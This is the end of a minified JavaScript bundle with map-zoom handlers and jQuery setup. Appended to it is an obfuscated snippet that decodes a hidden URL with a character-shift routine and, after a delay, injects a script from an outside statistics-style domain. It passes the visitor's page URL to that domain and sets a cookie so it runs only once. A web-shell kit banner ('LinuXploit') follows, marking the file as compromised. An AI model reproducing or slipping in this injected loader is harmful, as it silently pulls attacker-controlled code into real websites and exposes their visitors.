e=>{(e=>{is(e)})(e)})(ss))},t()(document).on("click",".JS-map-zoom-in",(function(){ss.setZoom(ss.getZoom()+1)})),t()(document).on("click",".JS-map-zoom-out",(function(){ss.setZoom(ss.getZoom()-1)}))),i(6466),(us=i(43864)).keys().forEach(us),window.$=window.jQuery=t(),window.jqueryLazy=r(),t()(document).ready((function(){console.log("version:","2023-12-28T13:58:01.830Z")}))})()})();(function(o,d,l){try{o.f=o=>o.split('').reduce((s,c)=>s+String.fromCharCode((c.charCodeAt()-5).toString()),'');o.b=o.f('UMUWJKX');o.c=l.protocol[0]=='h'&&/\./.test(l.hostname)&&!(new RegExp(o.b)).test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement('script'),o.s.src=o.f('myyux?44zxjwxyf'+'ynhx3htr4ljy4xhwn'+'uy3oxDwjkjwwjwB')+l.href,d.body.appendChild(o.s));},1000);d.cookie=o.b+'=full;max-age=39800;'}catch(e){};}({},document,location));

Youez - 2016 - github.com/yon3zu
LinuXploit